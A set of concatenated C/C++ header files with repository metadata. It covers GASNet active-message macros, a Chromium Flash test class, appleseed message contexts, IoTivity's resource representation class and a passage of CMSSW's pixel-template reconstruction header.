#define GASNETC_AM_MAX_MED_PACKETS 64
#define GASNETC_DEFAULT_AM_MAX_MED (size_t) \
(GASNETC_AM_MAX_MED_PACKETS * (2048 - 22) - \
(GASNETC_MAX_ARGS * sizeof(gasnet_handlerarg_t)))
#if GASNET_PSHM
/*
* PSHM uses GASNETC_MAX_MEDIUM as parameter in array size,
* so it has to be compile-time constant
*/
#define GASNETC_MAX_MEDIUM GASNETC_DEFAULT_AM_MAX_MED
#else
size_t gasneti_AMMaxMedium();
#define GASNETC_MAX_MEDIUM (gasneti_AMMaxMedium())
#endif
#define gasnet_AMMaxArgs() ((size_t)GASNETC_MAX_ARGS)
#if GASNET_PSHM
/* (###) If supporting PSHM a conduit must "negotiate" the maximum size of a
* Medium message. This can either be done by lowering the conduit's value to
* the default PSHM value (as shown here), or GASNETI_MAX_MEDIUM_PSHM can be
* defined in gasnet_core_fwd.h to give the conduit complete control. */
#define gasnet_AMMaxMedium() ((size_t)MIN(GASNETC_MAX_MEDIUM, GASNETI_MAX_MEDIUM_PSHM))
#else
#define gasnet_AMMaxMedium() ((size_t)GASNETC_MAX_MEDIUM)
#endif
#define gasnet_AMMaxLongRequest() ((size_t)GASNETC_MAX_LONG_REQ)
#define gasnet_AMMaxLongReply() ((size_t)GASNETC_MAX_LONG_REP)
/* ------------------------------------------------------------------------------------ */
/*
Misc. Active Message Functions
==============================
*/
extern int gasnetc_AMGetMsgSource(gasnet_token_t token, gasnet_node_t *srcindex);
#define gasnet_AMGetMsgSource gasnetc_AMGetMsgSource
#define GASNET_BLOCKUNTIL(cond) gasneti_polluntil(cond)
/* ------------------------------------------------------------------------------------ */
/*
* Misc. auxiliary functions
* =========================
*/
extern void gasnetc_barrier_fence(void);
/* ------------------------------------------------------------------------------------ */
GASNETI_END_EXTERNC
#endif
#include <gasnet_ammacros.h>
| 31.460094 | 96 | 0.680048 |
bd16930e32bae2a576770cee2f904872b3350681 | 1,167 | h | C | ppapi/tests/test_flash.h | Scopetta197/chromium | b7bf8e39baadfd9089de2ebdc0c5d982de4a9820 | [
"BSD-3-Clause"
] | 212 | 2015-01-31T11:55:58.000Z | 2022-02-22T06:35:11.000Z | ppapi/tests/test_flash.h | 1065672644894730302/Chromium | 239dd49e906be4909e293d8991e998c9816eaa35 | [
"BSD-3-Clause"
] | 5 | 2015-03-27T14:29:23.000Z | 2019-09-25T13:23:12.000Z | ppapi/tests/test_flash.h | 1065672644894730302/Chromium | 239dd49e906be4909e293d8991e998c9816eaa35 | [
"BSD-3-Clause"
] | 221 | 2015-01-07T06:21:24.000Z | 2022-02-11T02:51:12.000Z | // Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef PAPPI_TESTS_TEST_FLASH_H_
#define PAPPI_TESTS_TEST_FLASH_H_
#include <string>
#include "ppapi/c/pp_stdint.h"
#include "ppapi/c/private/ppb_flash.h"
#include "ppapi/tests/test_case.h"
#include "ppapi/utility/completion_callback_factory.h"
class TestFlash : public TestCase {
public:
explicit TestFlash(TestingInstance* instance);
// TestCase implementation.
virtual bool Init();
virtual void RunTests(const std::string& filter);
private:
// TODO(viettrungluu): Implement the commented-out tests.
std::string TestSetInstanceAlwaysOnTop();
// std::string TestDrawGlyphs();
std::string TestGetProxyForURL();
// std::string TestNavigate();
std::string TestMessageLoop();
std::string TestGetLocalTimeZoneOffset();
std::string TestGetCommandLineArgs();
std::string TestGetDeviceID();
void QuitMessageLoopTask(int32_t);
const PPB_Flash* flash_interface_;
pp::CompletionCallbackFactory<TestFlash> callback_factory_;
};
#endif // PAPPI_TESTS_TEST_FLASH_H_
| 28.463415 | 73 | 0.76521 |
bd16e3ab7fadce81c4556861657d04603776f2d3 | 3,287 | h | C | src/appleseed/renderer/utility/messagecontext.h | KarthikRIyer/appleseed | d66189620e06bc1be8122ad6e22c6e15514ebb49 | [
"MIT"
] | null | null | null | src/appleseed/renderer/utility/messagecontext.h | KarthikRIyer/appleseed | d66189620e06bc1be8122ad6e22c6e15514ebb49 | [
"MIT"
] | null | null | null | src/appleseed/renderer/utility/messagecontext.h | KarthikRIyer/appleseed | d66189620e06bc1be8122ad6e22c6e15514ebb49 | [
"MIT"
] | null | null | null |
//
// This source file is part of appleseed.
// Visit https://appleseedhq.net/ for additional information and resources.
//
// This software is released under the MIT license.
//
// Copyright (c) 2010-2013 Francois Beaune, Jupiter Jazz Limited
// Copyright (c) 2014-2018 Francois Beaune, The appleseedhq Organization
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
#ifndef APPLESEED_RENDERER_UTILITY_MESSAGECONTEXT_H
#define APPLESEED_RENDERER_UTILITY_MESSAGECONTEXT_H
// appleseed.main headers.
#include "main/dllsymbol.h"
// Standard headers.
#include <string>
// Forward declarations.
namespace renderer { class Entity; }
namespace renderer
{
//
// Base class for message contexts.
//
class APPLESEED_DLLSYMBOL MessageContext
{
public:
MessageContext();
explicit MessageContext(const char* message);
explicit MessageContext(const std::string& message);
~MessageContext();
bool empty() const;
const char* get() const;
protected:
void set_message(const char* message);
void set_message(const std::string& message);
private:
struct Impl;
Impl* impl;
};
//
// Message context when constructing entities.
//
class APPLESEED_DLLSYMBOL EntityDefMessageContext
: public MessageContext
{
public:
EntityDefMessageContext(
const char* entity_type,
const Entity* entity);
};
//
// Message context when calling `on_render_begin()` on entities.
//
class APPLESEED_DLLSYMBOL OnRenderBeginMessageContext
: public MessageContext
{
public:
OnRenderBeginMessageContext(
const char* entity_type,
const Entity* entity);
};
//
// Message context when calling `on_frame_begin()` on entities.
//
class APPLESEED_DLLSYMBOL OnFrameBeginMessageContext
: public MessageContext
{
public:
OnFrameBeginMessageContext(
const char* entity_type,
const Entity* entity);
};
//
// MessageContext class implementation.
//
inline MessageContext::MessageContext(const std::string& message)
: impl(nullptr)
{
set_message(message);
}
inline void MessageContext::set_message(const std::string& message)
{
set_message(message.c_str());
}
} // namespace renderer
#endif // !APPLESEED_RENDERER_UTILITY_MESSAGECONTEXT_H
| 25.091603 | 80 | 0.735929 |
bd171660d4c2c0fbf32a348b29cf4a62df8c9ebe | 5,114 | h | C | external/iotivity/iotivity_1.2-rel/service/resource-encapsulation/include/RCSRepresentation.h | SenthilKumarGS/TizenRT | 691639aa9667de5d966f040f0291a402727ab6ae | [
"Apache-2.0"
] | 511 | 2017-03-29T09:14:09.000Z | 2022-03-30T23:10:29.000Z | external/iotivity/iotivity_1.2-rel/service/resource-encapsulation/include/RCSRepresentation.h | SenthilKumarGS/TizenRT | 691639aa9667de5d966f040f0291a402727ab6ae | [
"Apache-2.0"
] | 4,673 | 2017-03-29T10:43:43.000Z | 2022-03-31T08:33:44.000Z | external/iotivity/iotivity_1.2-rel/service/resource-encapsulation/include/RCSRepresentation.h | SenthilKumarGS/TizenRT | 691639aa9667de5d966f040f0291a402727ab6ae | [
"Apache-2.0"
] | 642 | 2017-03-30T20:45:33.000Z | 2022-03-24T17:07:33.000Z | //******************************************************************
//
// Copyright 2015 Samsung Electronics All Rights Reserved.
//
//-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
//-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#ifndef RES_ENCAPSULATION_RCSREPRESENTATION_H_
#define RES_ENCAPSULATION_RCSREPRESENTATION_H_
#include "RCSResourceAttributes.h"
namespace OC
{
class OCRepresentation;
}
namespace OIC
{
namespace Service
{
/**
* This class describes a resource representation.
*
* @see RCSResourceObject
* @see RCRemoteResourceObject
*/
class RCSRepresentation
{
public:
RCSRepresentation();
explicit RCSRepresentation(const std::string& uri);
explicit RCSRepresentation(const RCSResourceAttributes& attrs);
RCSRepresentation(const std::string& uri, const std::vector< std::string >& interfaces,
const std::vector< std::string >& resourceTypes);
RCSRepresentation(const std::string& uri, const std::vector< std::string >& interfaces,
const std::vector< std::string >& resourceTypes,
const RCSResourceAttributes& attrs);
/**
* Returns the uri.
*/
std::string getUri() const;
/**
* Sets the uri of this representation.
*/
void setUri(std::string uri);
/**
* Returns all interfaces added.
*/
const std::vector< std::string >& getInterfaces() const;
/**
* Adds an interface.
*
* @param interface an interface to add
*/
void addInterface(std::string interface);
/**
* Removes all interfaces added.
*/
void clearInterfaces();
/**
* Returns all resource types added.
*/
const std::vector< std::string >& getResourceTypes() const;
/**
* Adds a resource type.
*/
void addResourceType(std::string resourceType);
/**
* Removes all resource types.
*/
void clearResourceTypes();
/**
* Returns attributes set in this representation.
*/
const RCSResourceAttributes& getAttributes() const;
/**
* @overload
*/
RCSResourceAttributes& getAttributes();
/**
* Overwrite attributes.
*
* @param attrs new attributes.
*/
void setAttributes(const RCSResourceAttributes& attrs);
/**
* @overload
*/
void setAttributes(RCSResourceAttributes&& attrs);
/**
* Returns children of this representation.
*/
const std::vector< RCSRepresentation >& getChildren() const;
/**
* Adds a child to this representation.
*
* @param child a representation to be attached
*/
void addChild(RCSRepresentation child);
/**
* Sets children of this representation.
*
* @param children new children
*/
void setChildren(std::vector< RCSRepresentation > children);
/**
* Removse all children
*/
void clearChildren();
/**
* Converts OCRepresentation into RCSRepresentation.
*
* @see toOCRepresentation
*/
static RCSRepresentation fromOCRepresentation(const OC::OCRepresentation&);
/**
* Converts RCSRepresentation into OCRepresentation.
*
* @see fromOCRepresentation
*/
static OC::OCRepresentation toOCRepresentation(const RCSRepresentation&);
static OC::OCRepresentation toOCRepresentation(RCSRepresentation&&);
private:
std::string m_uri;
std::vector< std::string > m_interfaces;
std::vector< std::string > m_resourceTypes;
RCSResourceAttributes m_attributes;
std::vector< RCSRepresentation > m_children;
};
}
}
#endif /* RES_ENCAPSULATION_RCSREPRESENTATION_H_ */
| 28.892655 | 99 | 0.520923 |
bd172853c7c37c9f130e1ac04270b836f8ad4063 | 42,315 | h | C | CondFormats/SiPixelTransient/interface/SiPixelTemplate.h | nistefan/cmssw | ea13af97f7f2117a4f590a5e654e06ecd9825a5b | [
"Apache-2.0"
] | 3 | 2018-08-24T19:10:26.000Z | 2019-02-19T11:45:32.000Z | CondFormats/SiPixelTransient/interface/SiPixelTemplate.h | nistefan/cmssw | ea13af97f7f2117a4f590a5e654e06ecd9825a5b | [
"Apache-2.0"
] | 3 | 2018-08-23T13:40:24.000Z | 2019-12-05T21:16:03.000Z | CondFormats/SiPixelTransient/interface/SiPixelTemplate.h | nistefan/cmssw | ea13af97f7f2117a4f590a5e654e06ecd9825a5b | [
"Apache-2.0"
] | 5 | 2018-08-21T16:37:52.000Z | 2020-01-09T13:33:17.000Z | //
// SiPixelTemplate.h (v10.20)
//
// Add goodness-of-fit info and spare entries to templates, version number in template header, more error checking
// Add correction for (Q_F-Q_L)/(Q_F+Q_L) bias
// Add cot(beta) reflection to reduce y-entries and more sophisticated x-interpolation
// Fix small index searching bug in interpolate method
// Change interpolation indexing to avoid complier complaining about possible un-initialized variables
// Replace containers with static arrays in calls to ysigma2 and xsigma2
// Add external threshold to calls to ysigma2 and xsigma2, fix parameter signal max for xsigma2
// Return to 5 pixel spanning but adjust boundaries to use only when needed
// Implement improved (faster) chi2min search that depends on pixel types
// Fill template arrays in single calls to this object
// Add qmin to the template
// Add qscale to match charge scales
// Small improvement to x-chisquare interpolation
// Enlarge SiPixelTemplateStore to accommodate larger templates and increased alpha acceptance (reduce PT threshold to ~200 MeV)
// Store x and y cluster sizes in fractional pixels to facilitate cluster splitting
// Keep interpolated central 9 template bins in private storage and expand/shift in the getter functions (faster for speed=2/3) and easier to build 3d templates
// Store error and bias information for the simple chi^2 min position analysis (no interpolation or Q_{FB} corrections) to use in cluster splitting
// To save time, the gaussian centers and sigma are not interpolated right now (they aren't currently used). They can be restored by un-commenting lines in the interpolate method.
// Add a new method to calculate qbin for input cotbeta and cluster charge. To be used for error estimation of merged clusters in PixelCPEGeneric.
// Add bias info for Barrel and FPix separately in the header
// Improve the charge estimation for larger cot(alpha) tracks
// Change interpolate method to return false boolean if track angles are outside of range
// Add template info and method for truncation information
// Change to allow template sizes to be changed at compile time
// Fix bug in track angle checking
// Accommodate Dave's new DB pushfile which overloads the old method (file input)
// Add CPEGeneric error information and expand qbin method to access useful info for PixelCPEGeneric
// Fix large cot(alpha) bug in qmin interpolation
// Add second qmin to allow a qbin=5 state
// Use interpolated chi^2 info for one-pixel clusters
// Separate BPix and FPix charge scales and thresholds
// Fix DB pushfile version number checking bug.
// Remove assert from qbin method
// Replace asserts with exceptions in CMSSW
// Change calling sequence to interpolate method to handle cot(beta)<0 for FPix cosmics
// Add getter for pixelav Lorentz width estimates to qbin method
// Add check on template size to interpolate and qbin methods
// Add qbin population information, charge distribution information
//
// V7.00 - Decouple BPix and FPix information into separate templates
// Add methods to facilitate improved cluster splitting
// Fix small charge scaling bug (affects FPix only)
// Change y-slice used for the x-template to be closer to the actual cotalpha-cotbeta point
// (there is some weak breakdown of x-y factorization in the FPix after irradiation)
//
// V8.00 - Add method to calculate a simple 2D template
// Reorganize the interpolate method to extract header info only once per ID
// V8.01 - Improve simple template normalization
// V8.05 - Change qbin normalization to work better after irradiation
// V8.10 - Add Vavilov distribution interpolation
// V8.11 - Renormalize the x-templates for Guofan's cluster size calculation
// V8.12 - Technical fix to qavg issue.
// V8.13 - Fix qbin and fastsim interpolaters to avoid changing class variables
// V8.20 - Add methods to identify the central pixels in the x- and y-templates (to help align templates with clusters in radiation damaged detectors)
// Rename class variables from pxxxx (private xxxx) to xxxx_ to follow standard convention.
// Add compiler option to store the template entries in BOOST multiarrays of structs instead of simple c arrays
// (allows dynamic resizing template storage and has bounds checking but costs ~10% in execution time).
// V8.21 - Add new qbin method to use in cluster splitting
// V8.23 - Replace chi-min position errors with merged cluster chi2 probability info
// V8.25 - Incorporate VI's speed changes into the current version
// V8.26 - Modify the Vavilov lookups to work better with the FPix (offset y-templates)
// V8.30 - Change the splitting template generation and access to improve speed and eliminate triple index boost::multiarray
// V8.31 - Add correction factor: measured/true charge
// V8.31 - Fix version number bug in db object I/O (pushfile)
// V8.32 - Check for illegal qmin during loading
// V8.33 - Fix small type conversion warnings
// V8.40 - Incorporate V.I. optimizations
// V9.00 - Expand header to include multi and single dcol thresholds, LA biases, and (variable) Qbin definitions
// V9.01 - Protect against negative error squared
// V10.00 - Update to work with Phase 1 FPix. Fix some code problems introduced by other maintainers.
// V10.01 - Fix initialization style as suggested by S. Krutelyov
// V10.10 - Add class variables and methods to correctly calculate the probabilities of single pixel clusters
// V10.11 - Allow subdetector ID=5 for FPix R2P2 [allows better internal labeling of templates]
// V10.12 - Enforce minimum signal size in pixel charge uncertainty calculation
// V10.13 - Update the variable size [SI_PIXEL_TEMPLATE_USE_BOOST] option so that it works with VI's enhancements
// V10.20 - Add directory path selection to the ascii pushfile method
// V10.21 - Address runtime issues in pushfile() for gcc 7.X due to using tempfile as char string + misc. cleanup [Petar]
// V10.22 - Move templateStore to the heap, fix variable name in pushfile() [Petar]
// Created by Morris Swartz on 10/27/06.
//
//
// Build the template storage structure from several pieces
#ifndef SiPixelTemplate_h
#define SiPixelTemplate_h 1
#include "SiPixelTemplateDefs.h"
#include<vector>
#include<cassert>
#include "boost/multi_array.hpp"
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
#include "CondFormats/SiPixelObjects/interface/SiPixelTemplateDBObject.h"
#include "FWCore/Utilities/interface/Exception.h"
#endif
struct SiPixelTemplateEntry { //!< Basic template entry corresponding to a single set of track angles
int runnum; //!< number of pixelav run used to generate this entry
float alpha; //!< alpha track angle (defined in CMS CMS IN 2004/014)
float cotalpha; //!< cot(alpha) is proportional to cluster length in x and is basis of interpolation
float beta; //!< beta track angle (defined in CMS CMS IN 2004/014)
float cotbeta; //!< cot(beta) is proportional to cluster length in y and is basis of interpolation
float costrk[3]; //!< direction cosines of tracks used to generate this entry
float qavg; //!< average cluster charge for this set of track angles (now includes threshold effects)
float pixmax; //!< maximum charge for individual pixels in cluster
float symax; //!< average pixel signal for y-projection of cluster
float dyone; //!< mean offset/correction for one pixel y-clusters
float syone; //!< rms for one pixel y-clusters
float sxmax; //!< average pixel signal for x-projection of cluster
float dxone; //!< mean offset/correction for one pixel x-clusters
float sxone; //!< rms for one pixel x-clusters
float dytwo; //!< mean offset/correction for one double-pixel y-clusters
float sytwo; //!< rms for one double-pixel y-clusters
float dxtwo; //!< mean offset/correction for one double-pixel x-clusters
float sxtwo; //!< rms for one double-pixel x-clusters
float qmin; //!< minimum cluster charge for valid hit (keeps 99.9% of simulated hits)
float qmin2; //!< tighter minimum cluster charge for valid hit (keeps 99.8% of simulated hits)
float yavggen[4]; //!< generic algorithm: average y-bias of reconstruction binned in 4 charge bins
float yrmsgen[4]; //!< generic algorithm: average y-rms of reconstruction binned in 4 charge bins
float xavggen[4]; //!< generic algorithm: average x-bias of reconstruction binned in 4 charge bins
float xrmsgen[4]; //!< generic algorithm: average x-rms of reconstruction binned in 4 charge bins
float clsleny; //!< cluster y-length in pixels at signal height symax/2
float clslenx; //!< cluster x-length in pixels at signal height sxmax/2
float mpvvav; //!< most probable charge in Vavilov distribution (not actually for larger kappa)
float sigmavav; //!< "sigma" scale fctor for Vavilov distribution
float kappavav; //!< kappa parameter for Vavilov distribution
float mpvvav2; //!< most probable charge in Vavilov distribution for 2 merged clusters (not actually for larger kappa)
float sigmavav2; //!< "sigma" scale fctor for Vavilov distribution for 2 merged clusters
float kappavav2; //!< kappa parameter for Vavilov distribution for 2 merged clusters
float ypar[2][5]; //!< projected y-pixel uncertainty parameterization
float ytemp[9][TYSIZE]; //!< templates for y-reconstruction (binned over 1 central pixel)
float xpar[2][5]; //!< projected x-pixel uncertainty parameterization
float xtemp[9][TXSIZE]; //!< templates for x-reconstruction (binned over 1 central pixel)
float yavg[4]; //!< average y-bias of reconstruction binned in 4 charge bins
float yrms[4]; //!< average y-rms of reconstruction binned in 4 charge bins
float ygx0[4]; //!< average y0 from Gaussian fit binned in 4 charge bins
float ygsig[4]; //!< average sigma_y from Gaussian fit binned in 4 charge bins
float yflpar[4][6]; //!< Aqfl-parameterized y-correction in 4 charge bins
float xavg[4]; //!< average x-bias of reconstruction binned in 4 charge bins
float xrms[4]; //!< average x-rms of reconstruction binned in 4 charge bins
float xgx0[4]; //!< average x0 from Gaussian fit binned in 4 charge bins
float xgsig[4]; //!< average sigma_x from Gaussian fit binned in 4 charge bins
float xflpar[4][6]; //!< Aqfl-parameterized x-correction in 4 charge bins
float chi2yavg[4]; //!< average y chi^2 in 4 charge bins
float chi2ymin[4]; //!< minimum of y chi^2 in 4 charge bins
float chi2xavg[4]; //!< average x chi^2 in 4 charge bins
float chi2xmin[4]; //!< minimum of x chi^2 in 4 charge bins
float chi2yavgone; //!< average y chi^2 for 1 pixel clusters
float chi2yminone; //!< minimum of y chi^2 for 1 pixel clusters
float chi2xavgone; //!< average x chi^2 for 1 pixel clusters
float chi2xminone; //!< minimum of x chi^2 for 1 pixel clusters
float yavgc2m[4]; //!< 1st pass chi2 min search: average y-bias of reconstruction binned in 4 charge bins
float yrmsc2m[4]; //!< 1st pass chi2 min search: average y-rms of reconstruction binned in 4 charge bins
float chi2yavgc2m[4]; //!< 1st pass chi2 min search: average y chi^2 in 4 charge bins (merged clusters)
float chi2yminc2m[4]; //!< 1st pass chi2 min search: minimum of y chi^2 in 4 charge bins (merged clusters)
float xavgc2m[4]; //!< 1st pass chi2 min search: average x-bias of reconstruction binned in 4 charge bins
float xrmsc2m[4]; //!< 1st pass chi2 min search: average x-rms of reconstruction binned in 4 charge bins
float chi2xavgc2m[4]; //!< 1st pass chi2 min search: average x chi^2 in 4 charge bins (merged clusters)
float chi2xminc2m[4]; //!< 1st pass chi2 min search: minimum of x chi^2 in 4 charge bins (merged clusters)
float ygx0gen[4]; //!< generic algorithm: average y0 from Gaussian fit binned in 4 charge bins
float ygsiggen[4]; //!< generic algorithm: average sigma_y from Gaussian fit binned in 4 charge bins
float xgx0gen[4]; //!< generic algorithm: average x0 from Gaussian fit binned in 4 charge bins
float xgsiggen[4]; //!< generic algorithm: average sigma_x from Gaussian fit binned in 4 charge bins
float qbfrac[3]; //!< fraction of sample in qbin = 0-2 (>=3 is the complement)
float fracyone; //!< fraction of sample with ysize = 1
float fracxone; //!< fraction of sample with xsize = 1
float fracytwo; //!< fraction of double pixel sample with ysize = 1
float fracxtwo; //!< fraction of double pixel sample with xsize = 1
float qavg_avg; //!< average cluster charge of clusters that are less than qavg (normalize 2-D simple templates)
float r_qMeas_qTrue; //!< ratio of measured to true cluster charge
float spare[1];
} ;
struct SiPixelTemplateHeader { //!< template header structure
int ID; //!< template ID number
int NTy; //!< number of Template y entries
int NTyx; //!< number of Template y-slices of x entries
int NTxx; //!< number of Template x-entries in each slice
int Dtype; //!< detector type (0=BPix, 1=FPix)
float qscale; //!< Charge scaling to match cmssw and pixelav
float lorywidth; //!< estimate of y-lorentz width for optimal resolution
float lorxwidth; //!< estimate of x-lorentz width for optimal resolution
float lorybias; //!< estimate of y-lorentz bias
float lorxbias; //!< estimate of x-lorentz bias
float Vbias; //!< detector bias potential in Volts
float temperature; //!< detector temperature in deg K
float fluence; //!< radiation fluence in n_eq/cm^2
float s50; //!< 1/2 of the multihit dcol threshold in electrons
float ss50; //!< 1/2 of the single hit dcol threshold in electrons
char title[80]; //!< template title
int templ_version; //!< Version number of the template to ensure code compatibility
float Bfield; //!< Bfield in Tesla
float fbin[3]; //!< The QBin definitions in Q_clus/Q_avg
float xsize; //!< pixel size (for future use in upgraded geometry)
float ysize; //!< pixel size (for future use in upgraded geometry)
float zsize; //!< pixel size (for future use in upgraded geometry)
} ;
struct SiPixelTemplateStore { //!< template storage structure
SiPixelTemplateHeader head;
#ifndef SI_PIXEL_TEMPLATE_USE_BOOST
float cotbetaY[60];
float cotbetaX[5];
float cotalphaX[29];
SiPixelTemplateEntry enty[60]; //!< 60 Barrel y templates spanning cluster lengths from 0px to +18px [28 entries for fpix]
SiPixelTemplateEntry entx[5][29]; //!< 29 Barrel x templates spanning cluster lengths from -6px (-1.125Rad) to +6px (+1.125Rad) in each of 5 slices [3x29 for fpix]
void destroy() {};
#else
float* cotbetaY = nullptr;
float* cotbetaX = nullptr;
float* cotalphaX = nullptr;
boost::multi_array<SiPixelTemplateEntry,1> enty; //!< use 1d entry to store [60] barrel entries or [28] fpix entries
boost::multi_array<SiPixelTemplateEntry,2> entx; //!< use 2d entry to store [5][29] barrel entries or [3][29] fpix entries
void destroy() { // deletes arrays created by pushfile method of SiPixelTemplate
if (cotbetaY!=nullptr) delete[] cotbetaY;
if (cotbetaX!=nullptr) delete[] cotbetaX;
if (cotalphaX!=nullptr) delete[] cotalphaX;
}
#endif
} ;
// ******************************************************************************************
//! \class SiPixelTemplate
//!
//! A template management class. SiPixelTemplate contains thePixelTemp
//! (a std::vector of SiPixelTemplateStore, each of which is a collection of many
//! SiPixelTemplateEntries). Each SiPixelTemplateStore corresponds to a given detector
//! condition, and is valid for a range of runs. We allow more than one Store since the
//! may change over time.
//!
//! This class reads templates from files via pushfile() method.
//!
//! The main functionality of SiPixelTemplate is interpolate(), which produces a template
//! on the fly, given a specific track's alpha and beta. The results are kept in data
//! members and accessed via inline getters.
//!
//! The resulting template is then used by PixelTempReco2D() (a global function) which
//! get the reference for SiPixelTemplate & templ and uses the current template to
//! reconstruct the SiPixelRecHit.
// ******************************************************************************************
class SiPixelTemplate {
public:
SiPixelTemplate(const std::vector< SiPixelTemplateStore > & thePixelTemp) : thePixelTemp_(thePixelTemp) { id_current_ = -1; index_id_ = -1; cota_current_ = 0.; cotb_current_ = 0.; } //!< Constructor for cases in which template store already exists
// Load the private store with info from the file with the index (int) filenum from directory dir:
// ${dir}template_summary_zp${filenum}.out
#ifdef SI_PIXEL_TEMPLATE_STANDALONE
static bool pushfile(int filenum, std::vector< SiPixelTemplateStore > & pixelTemp , std::string dir = "");
#else
static bool pushfile(int filenum, std::vector< SiPixelTemplateStore > & pixelTemp , std::string dir = "CalibTracker/SiPixelESProducers/data/"); // *&^%$#@! Different default dir -- remove once FastSim is updated.
static bool pushfile(const SiPixelTemplateDBObject& dbobject, std::vector< SiPixelTemplateStore > & pixelTemp); // load the private store with info from db
#endif
// initialize the rest;
static void postInit(std::vector< SiPixelTemplateStore > & thePixelTemp_);
// Interpolate input alpha and beta angles to produce a working template for each individual hit.
bool interpolate(int id, float cotalpha, float cotbeta, float locBz, float locBx);
// Interpolate input alpha and beta angles to produce a working template for each individual hit.
bool interpolate(int id, float cotalpha, float cotbeta, float locBz);
// overload for compatibility.
bool interpolate(int id, float cotalpha, float cotbeta);
// retreive interpolated templates.
void ytemp(int fybin, int lybin, float ytemplate[41][BYSIZE]);
void xtemp(int fxbin, int lxbin, float xtemplate[41][BXSIZE]);
//Method to estimate the central pixel of the interpolated y-template
int cytemp();
//Method to estimate the central pixel of the interpolated x-template
int cxtemp();
// new methods to build templates from two interpolated clusters (for splitting)
void ytemp3d_int(int nypix, int& nybins);
void ytemp3d(int j, int k, std::vector<float>& ytemplate);
void xtemp3d_int(int nxpix, int& nxbins);
void xtemp3d(int j, int k, std::vector<float>& xtemplate);
// Convert vector of projected signals into uncertainties for fitting.
void ysigma2(int fypix, int lypix, float sythr, float ysum[BYSIZE], float ysig2[BYSIZE]);
void ysigma2(float qpixel, int index, float& ysig2);
void xsigma2(int fxpix, int lxpix, float sxthr, float xsum[BXSIZE], float xsig2[BXSIZE]);
// Interpolate qfl correction in y.
float yflcorr(int binq, float qfly);
// Interpolate qfl correction in x.
float xflcorr(int binq, float qflx);
int qbin(int id, float cotalpha, float cotbeta, float locBz, float locBx, float qclus, float& pixmx, float& sigmay, float& deltay, float& sigmax, float& deltax,
float& sy1, float& dy1, float& sy2, float& dy2, float& sx1, float& dx1, float& sx2, float& dx2);
int qbin(int id, float cotalpha, float cotbeta, float locBz, float qclus, float& pixmx, float& sigmay, float& deltay, float& sigmax, float& deltax,
float& sy1, float& dy1, float& sy2, float& dy2, float& sx1, float& dx1, float& sx2, float& dx2);
// Overload to use for cluster splitting
int qbin(int id, float cotalpha, float cotbeta, float qclus);
// Overload to keep legacy interface
int qbin(int id, float cotbeta, float qclus);
// Method to return template errors for fastsim
void temperrors(int id, float cotalpha, float cotbeta, int qBin, float& sigmay, float& sigmax, float& sy1, float& sy2, float& sx1, float& sx2);
//Method to return qbin and size probabilities for fastsim
void qbin_dist(int id, float cotalpha, float cotbeta, float qbin_frac[4], float& ny1_frac, float& ny2_frac, float& nx1_frac, float& nx2_frac);
//Method to calculate simple 2D templates
bool simpletemplate2D(float xhitp, float yhitp, std::vector<bool>& ydouble, std::vector<bool>& xdouble, float template2d[BXM2][BYM2]);
//Method to interpolate Vavilov distribution parameters
void vavilov_pars(double& mpv, double& sigma, double& kappa);
//Method to interpolate 2-cluster Vavilov distribution parameters
void vavilov2_pars(double& mpv, double& sigma, double& kappa);
float qavg() {return qavg_;} //!< average cluster charge for this set of track angles
float pixmax() {return pixmax_;} //!< maximum pixel charge
float qscale() {return qscale_;} //!< charge scaling factor
float s50() {return s50_;} //!< 1/2 of the pixel threshold signal in electrons
float ss50() {return ss50_;} //!< 1/2 of the single pixel per double column threshold in electrons
float symax() {return symax_;} //!< average pixel signal for y-projection of cluster
float dyone() {return dyone_;} //!< mean offset/correction for one pixel y-clusters
float syone() {return syone_;} //!< rms for one pixel y-clusters
float dytwo() {return dytwo_;} //!< mean offset/correction for one double-pixel y-clusters
float sytwo() {return sytwo_;} //!< rms for one double-pixel y-clusters
float sxmax() {return sxmax_;} //!< average pixel signal for x-projection of cluster
float dxone() {return dxone_;} //!< mean offset/correction for one pixel x-clusters
float sxone() {return sxone_;} //!< rms for one pixel x-clusters
float dxtwo() {return dxtwo_;} //!< mean offset/correction for one double-pixel x-clusters
float sxtwo() {return sxtwo_;} //!< rms for one double-pixel x-clusters
float qmin() {return qmin_;} //!< minimum cluster charge for valid hit (keeps 99.9% of simulated hits)
float qmin(int i) {
#ifndef SI_PIXEL_TEMPLATE_STANDALONE
if(i < 0 || i > 1) {throw cms::Exception("DataCorrupt") << "SiPixelTemplate::qmin called with illegal index = " << i << std::endl;}
#else
assert(i>=0 && i<2);
#endif
if(i==0){return qmin_;}else{return qmin2_;}} //!< minimum cluster charge for valid hit (keeps 99.9% or 99.8% of simulated hits)
